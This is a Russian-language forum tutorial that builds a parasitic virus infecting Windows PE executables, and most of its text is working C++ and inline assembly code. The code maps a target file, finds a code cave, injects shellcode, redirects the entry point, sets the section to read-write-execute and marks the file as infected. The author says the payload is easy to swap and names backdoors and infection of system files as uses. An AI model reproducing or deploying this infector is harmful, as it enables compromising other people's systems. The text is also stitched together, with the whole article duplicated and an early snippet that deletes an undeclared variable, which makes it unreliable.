        m_pidh = PIMAGE_DOS_HEADER(lpFile); // Получаем DOS-заголовок (он самый первый)
        if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE) // Проверяем, корректна ли сигнатура DOS заголовока
        {
            throw std::exception("There's not executable file!");
        }

        m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew); // Получаем PE-заголовок (NT)
        if (m_pinh->Signature != IMAGE_NT_SIGNATURE) // Проверяем, корректна ли сигнатура PE заголовока
        {
            throw std::exception("There's not executable file!");
        }

        m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader); // Получаем файловый заголовок
        m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader); // Получаем опциональный заголовок
    }

    // Методы ниже возвращают заголовки
    PIMAGE_DOS_HEADER getDosHeader()
    {
        return m_pidh;
    }

    PIMAGE_NT_HEADERS getNtHeaders()
    {
        return m_pinh;
    }

    PIMAGE_FILE_HEADER getFileHeader()
    {
        return m_pifh;
    }

    PIMAGE_OPTIONAL_HEADER getOptionalHeader()
    {
        return m_pioh;
    }

    // Метод, возвращающий число секций
    int getNumberOfSections()
    {
        return m_pifh->NumberOfSections;
    }

    // Этот метод возвращает заголовок по его индексу
    PIMAGE_SECTION_HEADER getSectionHeader(int nSection)
    {
        if (nSection > this->getNumberOfSections())
        {
            return NULL;
        }

        return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
            sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER)+
            m_pifh->SizeOfOptionalHeader +
            sizeof(IMAGE_SECTION_HEADER) * (nSection - 1));
    }
};

Теперь, вставим базовую функциональность в нашу главную функцию:

C:
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
    MappedFile* pmfTarget;
    try
    {
        pmfTarget = new MappedFile(_TEXT(TARGET));
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();

    PEParser* ppeParser;
    try
    {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
 
        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER      pidh  = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS      pinh  = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER     pifh  = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh  = ppeParser->getOptionalHeader();
    DWORD                  dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;

    delete lpShellcode;
    delete ppeParser;
    delete pmfTarget;
    return 0;

И вот, мы уже на шаге 1.5. Как же нам проверить, заражён ли файл уже? Для этого, после каждого заражения, мы будем помечать файл особым образом. Как именно? Мы изменим несущественные заголовки в DOS-заголовке на специальное значение.

Вот две функции, первая проверят заражён ли файл уже, а вторая помечает файл как заражённый.

C:
BOOL isInfected(PIMAGE_DOS_HEADER pidh)
{
    return ((pidh->e_minalloc == 0x13) && (pidh->e_maxalloc == 0x37));
}

void markAsInfected(PIMAGE_DOS_HEADER pidh)
{
    pidh->e_minalloc = 0x13;
    pidh->e_maxalloc = 0x37;
}

Вот как выглядит DOS-заголовок у заражённого файла в HEX-редакторе:

Добавляем в главную функцию следующий код, который отвечает за проверку файла на инфекцию:
C:
    if (isInfected(pidh))
    {
        std::cerr << "[ERROR] File already infected!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

Мы закончили с нашими подготовительными действиями. Теперь, нам нужно найти пещеру кода подходящего размера. Для этого я создал структуру, которая содержит указатель на секцию, и смещение до пещеры кода относительно начала файла. Также, я написал функцию, которая будет возвращать нашу пещеру кода.

C:
typedef struct _CODE_CAVE
{
    DWORD                 dwPosition; // Смещение до пещеры кода относительно начала файла
    PIMAGE_SECTION_HEADER pish; // Указатель на секцию с пещерой кода
} CODE_CAVE, *PCODE_CAVE;

// Функция возвращающая структуру CODE_CAVE
CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser)
{
    // Инициализируем переменные
    CODE_CAVE ccCave;

    DWORD     dwCount = 0;
    ccCave.dwPosition = 0;
    ccCave.pish       = NULL;

    for (int i = 1; i <= ppeParser->getNumberOfSections(); i++)  // Итерируем секции
    {
        ccCave.pish = ppeParser->getSectionHeader(i);

        for (int j = 0; j < ccCave.pish->SizeOfRawData; j++) // Ищем пещеру кода
        {
            if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00)
            {
                if (dwCount++ == (SHELLCODE_SIZE + 1))
                {
                    ccCave.dwPosition = j - SHELLCODE_SIZE +
                        ccCave.pish->PointerToRawData + 1;
                    break;
                }
            }
            else
            {
                dwCount = 0;
            }
        }

        if (ccCave.dwPosition != 0)
        {
            break;
        }
    }

    if (dwCount == 0 || ccCave.dwPosition == 0) // Если пещера кода не найдена, возвращаем пустую структуру
    {
        return CODE_CAVE{ 0, NULL };
    }
    else
    {
        return ccCave;
    }
}

Также, добавляем следующий код в нашу главную функцию, который получает указатель на начало пещеры кода и указатель на секцию.

C:
    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
    {
        std::cerr << "[ERROR] Can't find code cave!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
    std::cout << "[INFO] Code cave located at 0x" << LPVOID(ccCave.dwPosition) << std::endl;
    PIMAGE_SECTION_HEADER pish       = ccCave.pish;
    DWORD                 dwPosition = ccCave.dwPosition;

Теперь, нам нужно модифицировать шелл-код специально для исполняемого файла (найти адрес MessageBoxA и заменить 0xAAAAAAAA на него, изменить следующую последовательность 0xAAAAAAAA на оригинальную точку входа (original entry point)). Вот функция, реализующая это:
C:
void modificateShellcode(LPVOID lpShellcode, DWORD dwOEP)
{
    HMODULE hModule = LoadLibrary(_TEXT("user32.dll"));
    LPVOID lpMessageBoxA = GetProcAddress(hModule, "MessageBoxA");

    for (int i = 0; i < SHELLCODE_SIZE; i++)
    {
        if (*(LPDWORD(lpShellcode) + i) == 0xAAAAAAAA)
        {
            *(LPDWORD(lpShellcode) + i) = DWORD(lpMessageBoxA );
            FreeLibrary(hModule);
            break;
        }
    }

    for (int i = 0; i < SHELLCODE_SIZE; i++)
    {
        if (*(LPDWORD(lpShellcode) + i) == 0xAAAAAAAA)
        {
            *(LPDWORD(lpShellcode) + i) = dwOEP;
            break;
        }
    }
}

И по традиции вставим следующий код в главную функцию (он подготовит наш шелл-код):
C:
    LPVOID lpShellcode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
    memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
    modificateShellcode(lpShellcode, dwOEP);

Шаги с 4 по 7 вообще являются тривиальными и каждый шаг реализиуются буквально одной строкой. Опять же вставим данный код в главную функцию:
C:
    memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsInfected(pidh);

Готово! Теперь дополним эпилог функции main:
C:
    std::cout << "[SUCCESS] File successfuly infected!" << std::endl;

    delete lpShellcode;

Итак, теперь наша главная функция выглядит так:
C:
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
    MappedFile* pmfTarget;
    try
    {
        pmfTarget = new MappedFile(_TEXT(TARGET));
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();

    PEParser* ppeParser;
    try
    {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
 
        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER      pidh  = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS      pinh  = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER     pifh  = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh  = ppeParser->getOptionalHeader();
    DWORD                  dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;

    if (isInfected(pidh))
    {
        std::cerr << "[ERROR] File already infected!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
    {
        std::cerr << "[ERROR] Can't find code cave!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
    std::cout << "[INFO] Code cave located at 0x" << LPVOID(ccCave.dwPosition) << std::endl;
    PIMAGE_SECTION_HEADER pish       = ccCave.pish;
    DWORD                 dwPosition = ccCave.dwPosition;

    LPVOID lpShellcode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
    memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
    modificateShellcode(lpShellcode, dwOEP);

    memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsInfected(pidh);

    std::cout << "[SUCCESS] File successfuly infected!" << std::endl;

    delete lpShellcode;
    delete ppeParser;
    delete pmfTarget;
    return 0;
}

Теперь вставляем наш целевой hello.exe по адресу D:\hello.exe (или изменяем константу TARGET), собираем проект и запускаем наш инфектор.

Корректный результат его работы:

Теперь, давайте проверим, корректно ли работает наш hello.exe и выполняется наш вредоносный код:
Это действительно так! Всё корректно работает! Как я говорил выше, наш инфектор может заражать большинство исполняемых файлов Windows (для этого измените константу TARGET), но также есть и некоторые исключения, которые мы не будем рассматривать в данной статье. С помощью этой техники можно творить поистине великие вещи (внедрение бэкдоров, DLL инъекции, внедрение вирусов, заражение важных системных файлов для добавления в автозагрузку и для сокрытия вредоносного процесса).


На этом всё! Спасибо за прочтение статьи! Если у вас есть какие-либо вопросы или вы обнаружите какие-то недоработки, буду рад увидеть ваш комментарий. Заражённый и незараженный файлы прикреплены.​
Доброго времени суток, друзья. В прошлых статьях, мы внимательно изучили строение и формат исполняемых файлов, а также закрепили эти знания на практике. Начиная с этой статьи мы начнём исследовать этот вопрос с практической точки зрения. Конкретно в этой статье мы напишем небольшой вирус, инфицирующий исполняемые файлы Windows. Для понимания данной статьи необходимо прочтение предыдущих.

Дисклеймер
ВНИМАНИЕ! Весь представленный ниже материал распространяется исключительно в образовательных целях. Автор и администрация форума не несут ответственности за ваши действия.

Немного теории
Вирус - вид вредоносных программ, способных инфицировать другие файлы. Например, внедрять свой вредоносный в код в другие исполняемые файлы. Конкретно данный тип инфекции мы сегодня и рассмотрим.

На самом деле, вирусы инфицирующие исполняемые файлы формально подразделяются на следующие типы:
  • Перезаписывающие вирусы
    Данный тип инфекторов заменяет исполняемые файлы собственным исполняемым модулем. Данный тип вирусов редко встречается, так как вирусы данного типа приносят слишком разрушительные последствия и из-за этого они легко обнаруживаются.
  • Паразитические вирусы
    Данный тип инфекторов внедряет вредоносный код в исполняемые файлы. В большинстве случаев данный тип вирусов не влияет на логику работы инфицированной программы. Именно данный тип вируса мы и напишем в этой статье.
  • Вирусы-компаньёны
    Данный тип вирусов переименовывает инфицируемый исполняемый файл, а на его старый путь вставляет свою копию.
  • Другие типы вирусов
В большинстве случаев паразитические вирусы исполняют свой код ДО запуска основного кода. Основная идея инфекции - перенаправить поток исполнения с точки входа в программу на вредоносный код.

Давайте сначала разберём схему заражения в теории. Заражать мы с вами будем написанный в двух прошлых статьях .exe файл (hello.exe). В принципе, программа которую мы напишем может корректно заражать большинство исполяемых файлов.

Открыв hello.exe в hex-редакторе, мы можем заметить заполненные нулевыми байтами участки в секциях. Эти учатски называются пещерами кода. Они появляются вследствии выравнивания размера секции. Вот пример пещеры кода в секции .text.
Теперь давайте посмотрим, что же проиходит при инфекции исполняемого файла. До инфекции инфицируемая секция выглядит так:
Точка входа в программу установлена на начало кода программы, секция немодифицированная.

А вот так уже выглядит секция после инфекции файла:

Что же произошло во время инфекции файла? Во-первых, в начало пещеры кода был вставлен вредоносный код. Во-вторых, указатель на вход в программу был изменён на адрес начала вредоносного кода. Во вредоносном коде имеется переход на начало оригинального кода.

Суммарно общая схема атаки выглядит так:
  1. Подготовительные действия
  2. Найти пещеру кода в секциях
  3. Вставить вредоносный код в пещеру кода
  4. Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
  5. Изменить характеристики секции на Read, Write, Execute.

Таким образом, при запуске вредоносного файла управление сначала будет передано вредоносному коду, а после этого оригинальному коду.

Приступаем к кодингу
Писать нашего паразита мы будем на языке C++ (я использую Visual Studio). Первым делом, создадим консольный проект.

Теперь подключим необходимые заголовочные файлы:

C:
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <stdio.h>

Теперь давайте объявим пару констант и напишем функцию, которую мы будем внедрять в исполняемый файл. Писать внедряемый код нам придётся на ассемблере. Я использую простейший MessageBox, как нашу полезную нагрузку, хотя изменить шелл-код, например, на код загружающий динамическую библиотеку - проще простого.
C:
#define TARGET "D:\\hello.exe"
#define SHELLCODE_SIZE 65

#define db(x) __asm _emit x
void __declspec(naked) shellcode()
{
    __asm {
        pushad // Сохраняем регистры
        call    routine // Получаем eip

        routine:
            pop     ebp // Получаем eip
            sub     ebp, offset routine // Получаем eip
     
            // Вызываем MessageBox
            push    0x00000010  // MB_ICONERROR
            lea     eax, [ebp + szCaption]
            push    eax // szCaption
            lea     eax, [ebp + szText]
            push    eax // szText
            push    0 // NULL
            mov     eax, 0xAAAAAAAA // Временный адрес MessageBox
            call    eax // Вызываем MessageBoxA
            popad // Получаем регистры обратно
            push    0xAAAAAAAA // Переходим на оригинальную точку входа
            ret // Переходим на оригинальную точку входа

        szText:
            db('I')
            db('n')
            db('f')
            db('e')
            db('c')
            db('t')
            db('e')
            db('d')
            db('!')
            db(0)
        szCaption:
            db('C')
            db('o')
            db('d')
            db('e')
            db('b')
            db('y')
            db('N')
            db('e')
            db('t')
            db(0)
    }
}

Теперь, давайте более подробнее изменим наш алгоритм:
  1. Подготовительные действия
    1.1 Открыть файл
    1.2 Создать проекцию файла в память
    1.3 Проверить действительно ли это исполняемый файл
    1.4 Разобрать заголовки
    1.5 Проверить заражён ли файл уже
  2. Итерируя каждую секцию пробежаться по ней и найти пещеру кода нужного размера
  3. Подготавить шелл-код
  4. Вставлить вредоносный код в пещеру кода
  5. Изменить характеристики секции на Read, Write, Execute.
  6. Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
  7. Пометить файл как зараженный
Со всеми шагами кроме 1.2 думаю всё понятно. Но что же за проекция файла в памяти и для чего же она нужна? Давайте разберёмся.



То есть, говоря более понятным языком, некий выделенный участок памяти привязывается к файлу. Изменяя содержимое участка памяти - мы тем самым изменяем содержание файла.

Зачем это нужно? Это позволяет увеличить производительность и увеличить максимальный размер файла, с которым вы собираетесь работать.

В Windows, проецирование файла реализуется с помощью функций и .

Для удобной работы с файлом давайте создадим класс MappedFile, который с помощью функций WinApi реализует необходимую функциональность (открытие файла и его отображение):
C:
class MappedFile
{
private:
    HANDLE m_hFile;
    HANDLE m_hMapping;
    LPBYTE m_lpFile;
public:
    MappedFile(LPTSTR szFilename) // Этот конструктор вызывается при создании объекта этого класса, он принимает путь к файлу
    {
        m_hFile = CreateFile(szFilename, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL, NULL); // Открываем файл
        if (m_hFile == INVALID_HANDLE_VALUE) // Проверяем на ошибки
        {
            throw std::exception("Can't open target file!");
        }
        DWORD dwFileSize = GetFileSize(m_hFile, NULL); // Получаем размер файла

        m_hMapping = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE, 0,
            0, NULL); // Создаём проекцию файла в память
        if (m_hMapping == NULL) // Проверяем на ошибки
        {
            CloseHandle(m_hFile);
            throw std::exception("Can't create file mapping!");
        }

        m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize)); // Проецируем отображение файла
        if (m_lpFile == NULL) // Проверяем на ошибки
        {
            CloseHandle(m_hMapping);
            CloseHandle(m_hFile);
            throw std::exception("Can't map view of file!");
        }
    }

    LPBYTE getViewOfFile() // Метод для получения адреса на начало отображения файла в памяти
    {
        return m_lpFile;
    }

    ~MappedFile() // Деструктор, вызывающийся при освобождении объекта
    {
        UnmapViewOfFile(m_lpFile); // Уничтожаем отображение проекции файла
        CloseHandle(m_hMapping); // Закрываем проекцию файла
        CloseHandle(m_hFile); // Закрываем файл
    }
};

Конструктор этого класса откроет файл с помощью функции со всеми правами, а также создаст проекцию файла в память, с помощью функций и .

Также, вооружившись нашими знаниями о формате PE-файла, реализуем небольшой класс-парсер, который будет выполнять разбор содержимого исполняемого файла:
C:
class PEParser
{
private:
    LPBYTE m_lpFile;
    PIMAGE_DOS_HEADER m_pidh;
    PIMAGE_NT_HEADERS m_pinh;
    PIMAGE_FILE_HEADER m_pifh;
    PIMAGE_OPTIONAL_HEADER m_pioh;
public:
    PEParser(LPBYTE lpFile) : m_lpFile(lpFile)
    {
        m_pidh = PIMAGE_DOS_HEADER(lpFile); // Получаем DOS-заголовок (он самый первый)
        if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE) // Проверяем, корректна ли сигнатура DOS заголовока
        {
            throw std::exception("There's not executable file!");
        }

        m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew); // Получаем PE-заголовок (NT)
        if (m_pinh->Signature != IMAGE_NT_SIGNATURE) // Проверяем, корректна ли сигнатура PE заголовока
        {
            throw std::exception("There's not executable file!");
        }

        m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader); // Получаем файловый заголовок
        m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader); // Получаем опциональный заголовок
    }

    // Методы ниже возвращают заголовки
    PIMAGE_DOS_HEADER getDosHeader()
    {
        return m_pidh;
    }

    PIMAGE_NT_HEADERS getNtHeaders()
    {
        return m_pinh;
    }

    PIMAGE_FILE_HEADER getFileHeader()
    {
        return m_pifh;
    }

    PIMAGE_OPTIONAL_HEADER getOptionalHeader()
    {
        return m_pioh;
    }

    // Метод, возвращающий число секций
    int getNumberOfSections()
    {
        return m_pifh->NumberOfSections;
    }

    // Этот метод возвращает заголовок по его индексу
    PIMAGE_SECTION_HEADER getSectionHeader(int nSection)
    {
        if (nSection > this->getNumberOfSections())
        {
            return NULL;
        }

        return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
            sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER)+
            m_pifh->SizeOfOptionalHeader +
            sizeof(IMAGE_SECTION_HEADER) * (nSection - 1));
    }
};

Теперь, вставим базовую функциональность в нашу главную функцию:

C:
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
    MappedFile* pmfTarget;
    try
    {
        pmfTarget = new MappedFile(_TEXT(TARGET));
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();

    PEParser* ppeParser;
    try
    {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
 
        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER      pidh  = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS      pinh  = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER     pifh  = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh  = ppeParser->getOptionalHeader();
    DWORD                  dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;

    delete lpShellcode;
    delete ppeParser;
    delete pmfTarget;
    return 0;

И вот, мы уже на шаге 1.5. Как же нам проверить, заражён ли файл уже? Для этого, после каждого заражения, мы будем помечать файл особым образом. Как именно? Мы изменим несущественные заголовки в DOS-заголовке на специальное значение.

Вот две функции, первая проверят заражён ли файл уже, а вторая помечает файл как заражённый.

C:
BOOL isInfected(PIMAGE_DOS_HEADER pidh)
{
    return ((pidh->e_minalloc == 0x13) && (pidh->e_maxalloc == 0x37));
}

void markAsInfected(PIMAGE_DOS_HEADER pidh)
{
    pidh->e_minalloc = 0x13;
    pidh->e_maxalloc = 0x37;
}

Вот как выглядит DOS-заголовок у заражённого файла в HEX-редакторе:

Добавляем в главную функцию следующий код, который отвечает за проверку файла на инфекцию:
C:
    if (isInfected(pidh))
    {
        std::cerr << "[ERROR] File already infected!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

Мы закончили с нашими подготовительными действиями. Теперь, нам нужно найти пещеру кода подходящего размера. Для этого я создал структуру, которая содержит указатель на секцию, и смещение до пещеры кода относительно начала файла. Также, я написал функцию, которая будет возвращать нашу пещеру кода.

C:
typedef struct _CODE_CAVE
{
    DWORD                 dwPosition; // Смещение до пещеры кода относительно начала файла
    PIMAGE_SECTION_HEADER pish; // Указатель на секцию с пещерой кода
} CODE_CAVE, *PCODE_CAVE;

// Функция возвращающая структуру CODE_CAVE
CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser)
{
    // Инициализируем переменные
    CODE_CAVE ccCave;

    DWORD     dwCount = 0;
    ccCave.dwPosition = 0;
    ccCave.pish       = NULL;

    for (int i = 1; i <= ppeParser->getNumberOfSections(); i++)  // Итерируем секции
    {
        ccCave.pish = ppeParser->getSectionHeader(i);

        for (int j = 0; j < ccCave.pish->SizeOfRawData; j++) // Ищем пещеру кода
        {
            if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00)
            {
                if (dwCount++ == (SHELLCODE_SIZE + 1))
                {
                    ccCave.dwPosition = j - SHELLCODE_SIZE +
                        ccCave.pish->PointerToRawData + 1;
                    break;
                }
            }
            else
            {
                dwCount = 0;
            }
        }

        if (ccCave.dwPosition != 0)
        {
            break;
        }
    }

    if (dwCount == 0 || ccCave.dwPosition == 0) // Если пещера кода не найдена, возвращаем пустую структуру
    {
        return CODE_CAVE{ 0, NULL };
    }
    else
    {
        return ccCave;
    }
}

Также, добавляем следующий код в нашу главную функцию, который получает указатель на начало пещеры кода и указатель на секцию.

C:
    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
    {
        std::cerr << "[ERROR] Can't find code cave!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
    std::cout << "[INFO] Code cave located at 0x" << LPVOID(ccCave.dwPosition) << std::endl;
    PIMAGE_SECTION_HEADER pish       = ccCave.pish;
    DWORD                 dwPosition = ccCave.dwPosition;

Теперь, нам нужно модифицировать шелл-код специально для исполняемого файла (найти адрес MessageBoxA и заменить 0xAAAAAAAA на него, изменить следующую последовательность 0xAAAAAAAA на оригинальную точку входа (original entry point)). Вот функция, реализующая это:
C:
void modificateShellcode(LPVOID lpShellcode, DWORD dwOEP)
{
    HMODULE hModule = LoadLibrary(_TEXT("user32.dll"));
    LPVOID lpMessageBoxA = GetProcAddress(hModule, "MessageBoxA");

    for (int i = 0; i < SHELLCODE_SIZE; i++)
    {
        if (*(LPDWORD(lpShellcode) + i) == 0xAAAAAAAA)
        {
            *(LPDWORD(lpShellcode) + i) = DWORD(lpMessageBoxA );
            FreeLibrary(hModule);
            break;
        }
    }

    for (int i = 0; i < SHELLCODE_SIZE; i++)
    {
        if (*(LPDWORD(lpShellcode) + i) == 0xAAAAAAAA)
        {
            *(LPDWORD(lpShellcode) + i) = dwOEP;
            break;
        }
    }
}

И по традиции вставим следующий код в главную функцию (он подготовит наш шелл-код):
C:
    LPVOID lpShellcode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
    memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
    modificateShellcode(lpShellcode, dwOEP);

Шаги с 4 по 7 вообще являются тривиальными и каждый шаг реализиуются буквально одной строкой. Опять же вставим данный код в главную функцию:
C:
    memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsInfected(pidh);

Готово! Теперь дополним эпилог функции main:
C:
    std::cout << "[SUCCESS] File successfuly infected!" << std::endl;

    delete lpShellcode;

Итак, теперь наша главная функция выглядит так:
C:
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
    MappedFile* pmfTarget;
    try
    {
        pmfTarget = new MappedFile(_TEXT(TARGET));
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
        return 1;
    }

    LPBYTE lpFile = pmfTarget->getViewOfFile();

    PEParser* ppeParser;
    try
    {
        ppeParser = new PEParser(lpFile);
    }
    catch (const std::exception& e)
    {
        std::cerr << "[ERROR] " << e.what() << std::endl;
        std::cerr << "GetLastError(): " << GetLastError() << std::endl;
 
        delete pmfTarget;
        return 1;
    }

    PIMAGE_DOS_HEADER      pidh  = ppeParser->getDosHeader();
    PIMAGE_NT_HEADERS      pinh  = ppeParser->getNtHeaders();
    PIMAGE_FILE_HEADER     pifh  = ppeParser->getFileHeader();
    PIMAGE_OPTIONAL_HEADER pioh  = ppeParser->getOptionalHeader();
    DWORD                  dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;

    if (isInfected(pidh))
    {
        std::cerr << "[ERROR] File already infected!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }

    CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
    if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
    {
        std::cerr << "[ERROR] Can't find code cave!" << std::endl;

        delete ppeParser;
        delete pmfTarget;
        return 1;
    }
    std::cout << "[INFO] Code cave located at 0x" << LPVOID(ccCave.dwPosition) << std::endl;
    PIMAGE_SECTION_HEADER pish       = ccCave.pish;
    DWORD                 dwPosition = ccCave.dwPosition;

    LPVOID lpShellcode = new char[SHELLCODE_SIZE];
    RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
    memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
    modificateShellcode(lpShellcode, dwOEP);

    memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
    pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
    pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
    markAsInfected(pidh);

    std::cout << "[SUCCESS] File successfuly infected!" << std::endl;

    delete lpShellcode;
    delete ppeParser;
    delete pmfTarget;
    return 0;
}

Теперь вставляем наш целевой hello.exe по адресу D:\hello.exe (или изменяем константу TARGET), собираем проект и запускаем наш инфектор.

Корректный результат его работы:

Теперь, давайте проверим, корректно ли работает наш hello.exe и выполняется наш вредоносный код:
Это действительно так! Всё корректно работает! Как я говорил выше, наш инфектор может заражать большинство исполняемых файлов Windows (для этого измените константу TARGET), но также есть и некоторые исключения, которые мы не будем рассматривать в данной статье. С помощью этой техники можно творить поистине великие вещи (внедрение бэкдоров, DLL инъекции, внедрение вирусов, заражение важных системных файлов для добавления в автозагрузку и для сокрытия вредоносного процесса).


На этом всё! Спасибо за прочтение статьи! Если у вас есть какие-либо вопросы или вы обнаружите какие-то недоработки, буду рад увидеть ваш комментарий. Заражённый и незараженный файлы прикреплены.​
Спасибо за статьи! Работает и на Windows 7(64) и на XP(32).
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!